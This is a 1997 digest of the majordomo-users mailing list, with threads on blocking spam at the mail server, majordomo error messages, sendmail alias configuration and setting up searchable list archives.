(Majordomo Users) From: Bill Houle Subject: Re: Fighting Spams Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 04:31 PM 6/4/97 -0300, Bill Silvert wrote: > >I've been thinking that if we had a special mailing list just for >killing spams it might make life simpler. list-managers@greatcircle.com (SPAM is not the lists sole raison d'etre, but spam-taboos are regularly updated there) --bill From owner-majordomo-users-outgoing Wed Jun 4 15:45:23 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id OAA06227 for majordomo-users-outgoing; Wed, 4 Jun 1997 14:50:07 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id OAA06176 for ; Wed, 4 Jun 1997 14:49:55 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id RAA15804 for ; Wed, 4 Jun 1997 17:53:37 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id RAA03617; Wed, 4 Jun 1997 17:53:37 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Fighting Spams References: <199706041932.QAA24452@ecology.bio.dfo.ca> X-No-Archive: yes Date: 04 Jun 1997 17:53:34 -0400 In-Reply-To: bill@ecology.bio.dfo.ca's message of Wed, 4 Jun 1997 16:31:55 -0300 (ADT) Message-ID: Lines: 34 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "BS" == Bill Silvert writes: BS> I've been thinking that if we had a special mailing list just for BS> killing spams it might make life simpler. I seem to spend quite a bit BS> of time adding taboo entries to majordomo.cf, and it might help if BS> these were circulated in ready to copy-and-paste format. As I mentioned previously, the best way to fight spam short of taking legal action (theft of services would be the most likely to succeed) is to prevent it from ever being delivered to your system. Rejecting spam mail from known spam domains and spammers before it has a chance to be delivered reduces your system load and it sends a message to the spammers that junk mail is unwanted. Routing spam to the bitbucket puts extra work on your systems and network and it indirectly encourages spammers because the lack of rejection leads many of them to belive that their junk is being read. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5Xj3Z6VRH7BJMxHAQFAjQP/c3YaTWbdoSQmJyXd8ypa1oFhFXz4Bw1v kqsuDEnm7n3QxQB6rOR+Zkuh/ZBjEtCc898zGKvIB0R9j+EO0GVKDnN479D4/T4L dt8sfu8NRNoESZzWbqR2J8m4VQF/YrCKj+O+bWrMlsGYeJSC/ZJUKNB7rDJS+gDt uOTGlQVilxI= =iN4h -----END PGP SIGNATURE----- -- Rich Pieri | When not in use, Happy Fun Ball Prescient Technologies, Inc. | should be returned to its special A Stone & Webster Company | container and kept under I speak for myself, not PTI or SWEC | refrigeration. From owner-majordomo-users-outgoing Wed Jun 4 15:45:36 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA12517 for majordomo-users-outgoing; Wed, 4 Jun 1997 15:42:30 -0700 (PDT) Received: from ayla.idyllmtn.com (ayla.idyllmtn.com [206.16.238.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id PAA12496 for ; Wed, 4 Jun 1997 15:42:24 -0700 (PDT) Received: (from kynn@localhost) by ayla.idyllmtn.com (8.6.12/8.6.9) id PAA08182; Wed, 4 Jun 1997 15:41:36 -0700 From: Kynn Bartlett Message-Id: <199706042241.PAA08182@ayla.idyllmtn.com> Subject: Re: MAJORDOMO ABORT (mj_majordomo) To: jesse@lglobal.com (Jesse Hirsh) Date: Wed, 4 Jun 1997 15:41:35 -0700 (PDT) Cc: majordomo-users@GreatCircle.COM In-Reply-To: from "Jesse Hirsh" at Jun 4, 97 06:47:09 pm X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > Anyone know how to solve this? > mj 1.94.3 > perl 5.003 > linux 2.0.30 > thanks Solve? This is desired, correct behavior on majordomo's part. It's not answering the mailer-daemon. :) Now just have to figure out WHY it's getting mail from MAILER-DAEMON. Probably a message bounced or something, I dunno. We can't figure out what's happening because we don't know the message. However, you can probably safely ignore these errors unless you get a bazillion of them, in which case you should investigate what message majordomo is receiving and where it's coming from. --Kynn > ---------- Forwarded message ---------- > Date: Wed, 4 Jun 1997 17:59:15 -0400 > From: majordomo@mcluhan.utoronto.ca > To: Majordomo-Owner@mcluhan.utoronto.ca > Subject: MAJORDOMO ABORT (mj_majordomo) > -- > MAJORDOMO ABORT (mj_majordomo)!! > > majordomo@mcluhan.utoronto.ca: not replying to MAILER-DAEMON to avoid > mail loop. From owner-majordomo-users-outgoing Wed Jun 4 17:16:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA28989 for majordomo-users-outgoing; Wed, 4 Jun 1997 17:06:06 -0700 (PDT) Received: from eclectic.kluge.net (eclectic.kluge.net [130.215.248.68]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA28702 for ; Wed, 4 Jun 1997 17:05:05 -0700 (PDT) Received: from dilbert.kluge.net (root@dilbert.kluge.net [130.215.248.72]) by eclectic.kluge.net (8.8.6.Beta4/8.8.6.Beta4) with ESMTP id UAA00371; Wed, 4 Jun 1997 20:08:56 -0400 Received: from localhost (felicity@LOCALHOST [127.0.0.1]) by dilbert.kluge.net (8.8.6.Beta4/8.8.6.Beta4) with SMTP id UAA00249; Wed, 4 Jun 1997 20:15:10 -0400 Date: Wed, 4 Jun 1997 20:15:10 -0400 (EDT) From: Theo Van Dinter Reply-To: Theo Van Dinter To: richard welty cc: Majordomo Users Subject: Re: Anti-Spammer Tool, & replies In-Reply-To: <3395A104.FF6D5DF@balltown.cma.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Wed, 4 Jun 1997, richard welty wrote: > first of all, any counter attack in this manner is probably > actionable it's illegal in massachusetts, and (as I remember), there's a federal law that also makes this illegal in the US. > let's not sink to the level of the spammers. ;) -- --------------------------------------------------------------------------- Theo Van Dinter www: http://www.kluge.net/~felicity/ Secretary of WPI Lens and Lights Junior Systems Administrator 3 kinds of people: Those who can count & those who can't. --------------------------------------------------------------------------- From owner-majordomo-users-outgoing Wed Jun 4 17:39:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA27171 for majordomo-users-outgoing; Wed, 4 Jun 1997 16:58:43 -0700 (PDT) Received: from ns1.fni.com (ns1.fni.com [204.181.104.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA18238 for ; Wed, 4 Jun 1997 16:12:31 -0700 (PDT) Received: from ns1.fni.com (ns1.fni.com [204.181.104.1]) by ns1.fni.com (8.8.5/8.8.5) with SMTP id SAA12701; Wed, 4 Jun 1997 18:15:56 -0500 Date: Wed, 4 Jun 1997 18:15:56 -0500 (CDT) From: Michael Brennen To: Rich Pieri cc: majordomo-users@greatcircle.com Subject: Re: Fighting Spams In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On 4 Jun 1997, Rich Pieri wrote: > >>>>> "BS" == Bill Silvert writes: > > BS> I've been thinking that if we had a special mailing list just for > BS> killing spams it might make life simpler. I seem to spend quite a bit > BS> of time adding taboo entries to majordomo.cf, and it might help if > BS> these were circulated in ready to copy-and-paste format. > > As I mentioned previously, the best way to fight spam short of taking legal > action (theft of services would be the most likely to succeed) is to > prevent it from ever being delivered to your system. Rejecting spam mail > from known spam domains and spammers before it has a chance to be delivered > reduces your system load and it sends a message to the spammers that junk > mail is unwanted. Routing spam to the bitbucket puts extra work on your This is exactly what I do. I've got a collection of class Cs that I block, and by now about the only spam I get is what has been relayed through a third party, usually originated from uu.net, compuserve.com, psi.net, or some such. Sure has reduced the spam cull time. -- Michael From owner-majordomo-users-outgoing Wed Jun 4 22:16:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA18483 for majordomo-users-outgoing; Wed, 4 Jun 1997 20:55:58 -0700 (PDT) Received: from main.nc.us (ns.main.nc.us [208.133.44.7]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id UAA18285 for ; Wed, 4 Jun 1997 20:55:10 -0700 (PDT) Received: from johansen.technomagic.nc.us ([207.238.56.236]) by main.nc.us (8.8.4/8.8.4) with SMTP id XAA14886; Wed, 4 Jun 1997 23:58:59 -0400 Message-ID: <3395B84F.5545@main.nc.us> Date: Wed, 04 Jun 1997 14:47:43 -0400 From: Chris Johansen Organization: TechNoMagic X-Mailer: Mozilla 3.0Gold (Win95; I) MIME-Version: 1.0 To: Ray Jones CC: Majordomo Users Subject: [was: Re: Support of old config methods, list-owners] References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Ray Jones wrote: > -- > Regards, > > "Big Ray the Buggy Driver" Jones - Licensed Tour Guide > > Disseminating information about New Orleans worldwide via my web page at > http://www.neosoft.com/~rayjones/welcome.html > > or you can join "Big Ray's" New Orleans Mailing List by sending: > subscribe noml To: majordomo@communique.net Ray, nice sig, . . . , up-to-date, and to the point. ;-)> Regards, -- Chris Johansen From owner-majordomo-users-outgoing Thu Jun 5 05:15:54 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id FAA14418 for majordomo-users-outgoing; Thu, 5 Jun 1997 05:04:12 -0700 (PDT) Received: from turbot.dfo.ca (cod.dfo.ca [142.2.18.252]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id FAA14411 for ; Thu, 5 Jun 1997 05:04:05 -0700 (PDT) Received: by ecology.bio.dfo.ca (940816.SGI.8.6.9/940406.SGI.AUTO) for Majordomo-Users@GreatCircle.COM id IAA00302; Thu, 5 Jun 1997 08:58:37 -0300 From: bill@ecology.bio.dfo.ca (Bill Silvert) Message-Id: <199706051158.IAA00302@ecology.bio.dfo.ca> Subject: Re: Fighting Spams To: Majordomo-Users@GreatCircle.COM (Majordomo Users) Date: Thu, 5 Jun 1997 08:58:27 -0300 (ADT) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Rich Pieri makes a good point: >As I mentioned previously, the best way to fight spam short of taking legal >action (theft of services would be the most likely to succeed) is to >prevent it from ever being delivered to your system. Rejecting spam mail >from known spam domains and spammers before it has a chance to be delivered >reduces your system load and it sends a message to the spammers that junk >mail is unwanted. Routing spam to the bitbucket puts extra work on your >systems and network and it indirectly encourages spammers because the lack >of rejection leads many of them to belive that their junk is being read. This suggests that we need a script called "reject" that will do just the oposite of what "accept" does -- when a message is sent to the list owner for approval, he can pipe it into reject (or add the line Reject: PASSWORD to it and it will be sent back to the poster with a message that it was not acceptable. Actually I would like to have two such scripts, one that would let me reject spam with a suitably rude standard message, the other of which would send a more polite message (like the one you get when your subscription goes to the list owner for approval) that lists several reasons why a message might be rejected with a polite note to ask the list owner for details, or perhaps a mechanism for annotating the rejection, such as Reject: PASSWORD "Binary attachments may not be posted to this list." Whether the list owner should let the spammer know that the posting was rejected takes some judgement. Some just change their address after they feel that they are being filtered out, and we don't want to make life easier for them! -- Bill Silvert, Habitat Ecology Section, Bedford Institute of Oceanography, P. O. Box 1006, Dartmouth, Nova Scotia, CANADA B2Y 4A2, Tel. (902)426-1577 From owner-majordomo-users-outgoing Thu Jun 5 07:02:20 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA20280 for majordomo-users-outgoing; Thu, 5 Jun 1997 06:46:11 -0700 (PDT) Received: from dias.servicenet.ariadne-t.gr (dias.servicenet.ariadne-t.gr [143.233.10.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id GAA20273 for ; Thu, 5 Jun 1997 06:46:02 -0700 (PDT) Received: from isosun.ariadne-t.gr by dias.servicenet.ariadne-t.gr with SMTP (1.37.109.4/16.2) id AA06475; Thu, 5 Jun 97 16:56:40 +0200 Received: from viper.nh.gr by isosun.ariadne-t.gr (4.1/SMI-4.0-MHS-6.0) id AA13803; Thu, 5 Jun 97 16:30:49 +0300 X-Ncc-Regid: gr.ariadnet Received: by viper.nh.gr (SMI-8.6/SMI-SVR4) id QAA02640; Thu, 5 Jun 1997 16:47:51 +0300 Date: Thu, 5 Jun 1997 16:47:51 +0300 From: root@viper.nh.gr (Super-User) Message-Id: <199706051347.QAA02640@viper.nh.gr> Subject: My small (I guess) little problem To: majordomo-users@greatcircle.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Md5: PidejMgxNS1PQ0piUQz/8Q== Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk ------------- Begin Forwarded Message ------------- From Mailer-Daemon Thu Jun 5 16:28:06 1997 Date: Thu, 5 Jun 1997 16:28:05 +0300 From: Mailer-Daemon (Mail Delivery Subsystem) Subject: Returned mail: unknown mailer error 1 To: Postmaster The original message was received at Thu, 5 Jun 1997 16:28:05 +0300 from thanos@localhost ----- The following addresses had delivery problems ----- "|/usr/local/majordomo/wrapper resend -p bulk -l chin -h viper.nh.gr -s chin-outgoing" (unrecoverable error) (expanded from: chin) ----- Transcript of session follows ----- sh: /usr/local/majordomo/wrapper: cannot execute 554 "|/usr/local/majordomo/wrapper resend -p bulk -l chin -h viper.nh.gr -s chin-outgoing"... unknown mailer error 1 ----- Message header follows ----- Return-Path: Received: by viper.nh.gr (SMI-8.6/SMI-SVR4) id QAA02606; Thu, 5 Jun 1997 16:28:05 +0300 Date: Thu, 5 Jun 1997 16:28:05 +0300 From: thanos (Mr Thanos Assimakopoulos) Message-Id: <199706051328.QAA02606@viper.nh.gr> Content-Type: text Apparently-To: chin content-length: 21 ----- Message body suppressed ----- ------------- End Forwarded Message ------------- Any ideas? Thanks in advance Thanos Assimakopoulos NCSR Demokritos From owner-majordomo-users-outgoing Thu Jun 5 07:16:17 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA21305 for majordomo-users-outgoing; Thu, 5 Jun 1997 07:15:17 -0700 (PDT) Received: from cicerone.uunet.ca (cicerone.uunet.ca [142.77.1.11]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA21296 for ; Thu, 5 Jun 1997 07:15:11 -0700 (PDT) Received: from ronin.samurai.com ([205.207.28.10]) by mail.uunet.ca with SMTP id <115467-12157>; Thu, 5 Jun 1997 10:19:04 -0400 Message-Id: <3.0.2.32.19970605101848.008a84c0@home.samurai.com> X-Sender: bryanf@home.samurai.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.2 b4 (32) Date: Thu, 5 Jun 1997 10:18:48 -0400 To: npugh@ro.com From: Bryan Fullerton Subject: winnuke, was Re: Anti-Spammer Tool Cc: majordomo-users@GreatCircle.COM In-Reply-To: <33957F0D.22B53EDB@ro.com> References: <199706032223.HAA25800@kesl.kesl.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk At 09:43 AM 6/4/97 -0500, Nimoy M. Pugh wrote: >It would be a bad thing though if everyone started taking popshots >around the internet with this thing. Firewalls and proxy servers will >stop it. And some routers can filter it. It's a little late to hope people won't be taking potshots with it - winnuke has been out for many weeks now, this is not a new thing. All the IRC kiddies have been randomly nuking stuff since it hit the 'net. My personal favourite is the perl version. :) >I've heard that there is a microsoft fix for win95 but haven't found it >or heard directly from microsoft. The fix (the real one, not just the registry update) was released by Microsoft on May 20th. http://www.microsoft.com/kb/articles/q168/7/47.htm Bryan {or get an even better fix at ftp.freebsd.org... ;P } -- Bryan Fullerton "What is the sound of Perl? Is it not the sound Samurai Consulting of a wall that people have stopped banging their bryanf@samurai.com heads against?" --Larry Wall http://www.samurai.com/ There are Pretenders among us. From owner-majordomo-users-outgoing Thu Jun 5 07:27:36 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA21181 for majordomo-users-outgoing; Thu, 5 Jun 1997 07:11:54 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA21145 for ; Thu, 5 Jun 1997 07:11:43 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id KAA26951 for ; Thu, 5 Jun 1997 10:15:41 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id KAA08945; Thu, 5 Jun 1997 10:15:41 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Fighting Spams References: <199706051158.IAA00302@ecology.bio.dfo.ca> X-No-Archive: yes Date: 05 Jun 1997 10:15:41 -0400 In-Reply-To: bill@ecology.bio.dfo.ca's message of Thu, 5 Jun 1997 08:58:27 -0300 (ADT) Message-ID: Lines: 34 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "BS" == Bill Silvert writes: BS> This suggests that we need a script called "reject" No, it suggests nothing of the sort. Spammers ignore complaints; spam domain administrators ignore complaints -- in fact, the most organized of them (like Cyberpromotions) deliberately use invalid domain names or domains without MX records to prevent complaints from ever leaving your system. The only way to let them know that you do not want their junk is to prevent it from ever being delivered. You do this by configuring your MTA to reject mail from known spam domains, and if you are an ISP you also configure it to disallow other domains from using your machines as mail gateways. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5bJ3Z6VRH7BJMxHAQEqiwQAgfA/FxDDIPaHAMu6ahj1oP1JdcxWSL2r auD4+i+87OP19c7GOC9ejdyyy+ojfspRkwb9jQmV/7xuYNsTDa+waAyE46OpLb5Z zZ2QMw8JqZF2aOSlfbWiXdsRC9qgc8PVbfxWFPN0+DG6U0Uj3xp7+AtkWlfVwdBS dNDxrm7nVig= =oIKz -----END PGP SIGNATURE----- -- Rich Pieri | Caution: Happy Fun Ball may Prescient Technologies, Inc. | suddenly accelerate to dangerous A Stone & Webster Company | speeds. I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Thu Jun 5 08:06:11 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA24384 for majordomo-users-outgoing; Thu, 5 Jun 1997 07:59:25 -0700 (PDT) Received: from epic.truevision.com (epic.truevision.com [192.124.147.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id HAA24358 for ; Thu, 5 Jun 1997 07:59:18 -0700 (PDT) From: Dan_Arthur@truevision.com Received: from in-mail1.truevision.com by epic.truevision.com with smtp (Smail3.1.29.1 #2) id m0wZSfT-000NF8C; Wed, 4 Jun 97 21:52 EST Received: by in-mail1.truevision.com(Lotus SMTP MTA v1.1 (385.6 5-6-1997)) id 052564AD.0051A6D3 ; Thu, 5 Jun 1997 09:51:51 -0500 X-Lotus-FromDomain: TRUEVISION To: majordomo-users@greatcircle.com Message-ID: <052564AD.00513183.00@in-mail1.truevision.com> Date: Thu, 5 Jun 1997 09:51:46 -0500 Subject: Re: Fighting Spams Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >No, it suggests nothing of the sort. Spammers ignore complaints; spam >domain administrators ignore complaints -- in fact, the most organized of >them (like Cyberpromotions) deliberately use invalid domain names or >domains without MX records to prevent complaints from ever leaving your >system. > >The only way to let them know that you do not want their junk is to prevent >it from ever being delivered. You do this by configuring your MTA to >reject mail from known spam domains, and if you are an ISP you also Can anyone give any hints or point me to where to RTFM on how to do this w/ Sendmail? (I've been RTFM-ing the big O'Reilly Sendmail book, and am new at MTA configuration...) From owner-majordomo-users-outgoing Thu Jun 5 08:32:47 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA27024 for majordomo-users-outgoing; Thu, 5 Jun 1997 08:21:44 -0700 (PDT) Received: from mail.state.mn.us (mail.state.mn.us [204.73.26.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA26981 for ; Thu, 5 Jun 1997 08:21:33 -0700 (PDT) Received: from roman.state.mn.us by mail.state.mn.us; Thu, 5 Jun 97 10:25:37 -0500 Message-Id: <2.2.32.19970605152504.006bef2c@mail.state.mn.us> X-Sender: roman@mail.state.mn.us X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 05 Jun 1997 10:25:04 -0500 To: majordomo-users@GreatCircle.COM From: Roman Richardson Subject: WWW & Archives help Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Hi All, I'm hoping to put up a searchable archive site for my majordomo, but don't even know where to start. I know J< has one up for greatcircle, but is there any source I could grab to fool around with, or hints as to where I should start? Thanks, Roman --- Roman Richardson UNIX / Email Systems Specialist State of Minnesota - InterTechnologies Group From owner-majordomo-users-outgoing Thu Jun 5 08:46:02 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA27930 for majordomo-users-outgoing; Thu, 5 Jun 1997 08:27:56 -0700 (PDT) Received: from balltown.cma.com (balltown.cma.com [149.19.1.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA27804 for ; Thu, 5 Jun 1997 08:27:30 -0700 (PDT) Received: from skipper (welty@skipper.balltown.cma.com [149.19.1.19]) by balltown.cma.com (8.7.1/CMA02) with SMTP id LAA15537; Thu, 5 Jun 1997 11:32:16 -0400 (EDT) Message-ID: <3396DBF7.13728473@balltown.cma.com> Date: Thu, 05 Jun 1997 11:32:07 -0400 From: richard welty Organization: New York State Institute for Sebastian Cabot Studies X-Mailer: Mozilla 3.0 (X11; I; SunOS 4.1.3_U1 sun4m) MIME-Version: 1.0 To: Dan_Arthur@truevision.com CC: majordomo-users@GreatCircle.COM Subject: Re: Fighting Spams References: <052564AD.00513183.00@in-mail1.truevision.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk *Can anyone give any hints or point me to where to RTFM on how to do this w/ *Sendmail? (I've been RTFM-ing the big O'Reilly Sendmail book, and am new *at MTA configuration...) the sendmail stuff is very new. you need 8.8.5 and you need to cruise the sendmail site (http://www.sendmail.org/) to get some of the experimental configuration stuff. there are actually a few different things being tried; i haven't been keeping track because i'm switching thing from sendmail to exim here. richard From owner-majordomo-users-outgoing Thu Jun 5 09:05:09 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA29390 for majordomo-users-outgoing; Thu, 5 Jun 1997 08:38:37 -0700 (PDT) Received: from mail.state.mn.us (mail.state.mn.us [204.73.26.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA29378 for ; Thu, 5 Jun 1997 08:38:29 -0700 (PDT) Received: from roman.state.mn.us by mail.state.mn.us; Thu, 5 Jun 97 10:42:31 -0500 Message-Id: <2.2.32.19970605154158.006ae10c@mail.state.mn.us> X-Sender: roman@mail.state.mn.us X-Mailer: Windows Eudora Pro Version 2.2 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Thu, 05 Jun 1997 10:41:58 -0500 To: majordomo-users@GreatCircle.COM From: Roman Richardson Subject: Re: MAJORDOMO ABORT (mj_majordomo) Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >> MAJORDOMO ABORT (mj_majordomo)!! >> >> majordomo@mcluhan.utoronto.ca: not replying to MAILER-DAEMON to avoid >> mail loop. I used to get tons of these until I figured out the problem. Bounces were coming back to majordomo@state.mn.us because sendmail wasn't rewriting the SMTP envelope (majordomo was not listed as a trusted user). Once I fixed this, the bounces began going to the list owners as you would expect. I also keep an archive of all messages sent to majordomo@state.mn.us. That way if there is any kind of error, I can see the message as majordomo saw it. majordomo: "|/usr/local/majordomo/wrapper majordomo", "|/usr/local/majordomo/wrapper archive2.pl -a -m -f /usr/local/majordomo/archive/domo/domo.archive" Works rather well. Hope this helps, Roman --- Roman Richardson UNIX / Email Systems Specialist State of Minnesota - InterTechnologies Group From owner-majordomo-users-outgoing Thu Jun 5 10:02:09 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA12328 for majordomo-users-outgoing; Thu, 5 Jun 1997 09:56:18 -0700 (PDT) Received: from toons.undergrid.com (undergrid.cei.net [204.180.109.36]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA12220 for ; Thu, 5 Jun 1997 09:55:52 -0700 (PDT) Received: from localhost (undrgrid@localhost) by toons.undergrid.com (8.8.5/8.8.5) with SMTP id MAA11939; Thu, 5 Jun 1997 12:00:11 -0500 Date: Thu, 5 Jun 1997 12:00:09 -0500 (CDT) From: "Jeremy T. Bouse" To: Dan_Arthur@truevision.com cc: majordomo-users@GreatCircle.COM Subject: Re: Fighting Spams In-Reply-To: <052564AD.00513183.00@in-mail1.truevision.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- On Thu, 5 Jun 1997 Dan_Arthur@truevision.com wrote: > Can anyone give any hints or point me to where to RTFM on how to do this w/ > Sendmail? (I've been RTFM-ing the big O'Reilly Sendmail book, and am new > at MTA configuration...) Check out http://spam.abuse.net/ ... they have a very good site with ways to block spam by setting up rulesets in sendmail.cf Jeremy "Cyis" Bouse Jeremy T. Bouse - The UnderGrid IRC Network - www.UnderGrid.com PGP ID/Fingerprint: 0xE83D9AE5/4ACC 03F0 98D7 8198 19D0 593E 50E5 97E9 Thought to ponder : All a hacker needs is a tight PUSHJ, a loose pair of UUOs, and a warm place to shift. ICQ UIN #303078 NIC Whois: JB5713 NEW PGP Key... available on key server at keys.pgp.com -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBM5bwmuak13roPZrlAQFpxwP/WGZFlW5oLBZJy7vi3AZvojW2seE+HTco GZWzvtwcDZljSI7303vEhMWjgoY6Tvlh2RCBk7m7jsgbSpl7U9xPc7qBh7CcRMBm KyjEikCTdVdroQiGfaMZS6mY86Du7v1sbJnMKIBJTS8wFvJYfMnnZhGpMeLMV6Uo 9JyJQXGVdLs= =xpGP -----END PGP SIGNATURE----- From owner-majordomo-users-outgoing Thu Jun 5 10:47:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA16970 for majordomo-users-outgoing; Thu, 5 Jun 1997 10:21:06 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA16911 for ; Thu, 5 Jun 1997 10:20:48 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id MAA17677; Thu, 5 Jun 1997 12:24:51 -0500 (CDT) To: root@viper.nh.gr (Super-User) Cc: majordomo-users@GreatCircle.COM Subject: Re: My small (I guess) little problem References: <199706051347.QAA02640@viper.nh.gr> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 05 Jun 1997 12:24:51 -0500 In-Reply-To: root@viper.nh.gr's message of Thu, 5 Jun 1997 16:47:51 +0300 Message-ID: Lines: 11 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "S" == Super-User writes: S> /usr/local/majordomo/wrapper: cannot execute S> Any ideas? Sounds to me like it was pretty explicit. It can't execute the wrapper. Is wrapper executable? Is the directory its in readable by sendmail? The directory above that? - J< From owner-majordomo-users-outgoing Thu Jun 5 11:30:15 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA15735 for majordomo-users-outgoing; Thu, 5 Jun 1997 10:14:50 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id KAA15698 for ; Thu, 5 Jun 1997 10:14:27 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id MAA17553; Thu, 5 Jun 1997 12:18:31 -0500 (CDT) To: Roman Richardson Cc: majordomo-users@GreatCircle.COM Subject: Re: WWW & Archives help References: <2.2.32.19970605152504.006bef2c@mail.state.mn.us> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 05 Jun 1997 12:18:31 -0500 In-Reply-To: Roman Richardson's message of Thu, 05 Jun 1997 10:25:04 -0500 Message-ID: Lines: 234 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "RR" == Roman Richardson writes: RR> I'm hoping to put up a searchable archive site for my majordomo, but RR> don't even know where to start. I know J< has one up for greatcircle, RR> but is there any source I could grab to fool around with, or hints as RR> to where I should start? 